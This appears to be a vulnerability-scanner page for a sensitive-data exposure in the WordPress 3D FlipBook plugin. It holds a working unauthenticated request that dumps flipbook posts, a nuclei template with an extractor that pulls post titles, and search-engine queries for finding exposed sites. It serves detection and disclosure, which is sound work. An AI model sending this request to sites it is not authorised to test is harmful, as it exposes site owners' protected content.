WordPress 3D FlipBook Plugin <= 1.16.17 - Sensitive Information Exposure

mediumseverity

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

The 3D FlipBook WordPress plugin (≤ v1.16.17) has a vulnerability where an unauthenticated AJAX action (fb3d_send_posts) exposes sensitive data. Attackers can access all flipbook posts—including password-protected content, metadata, PDF URLs, and plugin settings—without authorization.

Impact

Attackers can retrieve embedded sensitive data, leading to information disclosure.

Fix

Update to the latest version.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=fb3d_send_posts
Positive when: contains "\"code\":" and "\"posts\":" and "\"title\":" and "\"post_type\":\"3d-flip-book\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-58226 -u <target>

The full check

id: CVE-2025-58226

info:
  name: WordPress 3D FlipBook Plugin <= 1.16.17 - Sensitive Information Exposure
  author: pussycat0x
  severity: medium
  description: |
    The 3D FlipBook WordPress plugin (≤ v1.16.17) has a vulnerability where an unauthenticated AJAX action (fb3d_send_posts) exposes sensitive data. Attackers can access all flipbook posts—including password-protected content, metadata, PDF URLs, and plugin settings—without authorization.
  impact: |
    Attackers can retrieve embedded sensitive data, leading to information disclosure.
  remediation: Update to the latest version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/interactive-3d-flipbook-powered-physics-engine/
    - https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/...
    - https://plugins.svn.wordpress.org/interactive-3d-flipbook-powered-physics-engine/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
    fofa-query: body="/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
  tags: cve,cve2025,wordpress,wp-plugin,3d-flipbook,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=fb3d_send_posts"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":'
          - '"posts":'
          - '"title":'
          - '"post_type":"3d-flip-book"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: post_titles
        part: body
        json:
          - '.posts[].title'

References

Use this check only on systems you are authorised to test. Where the data comes from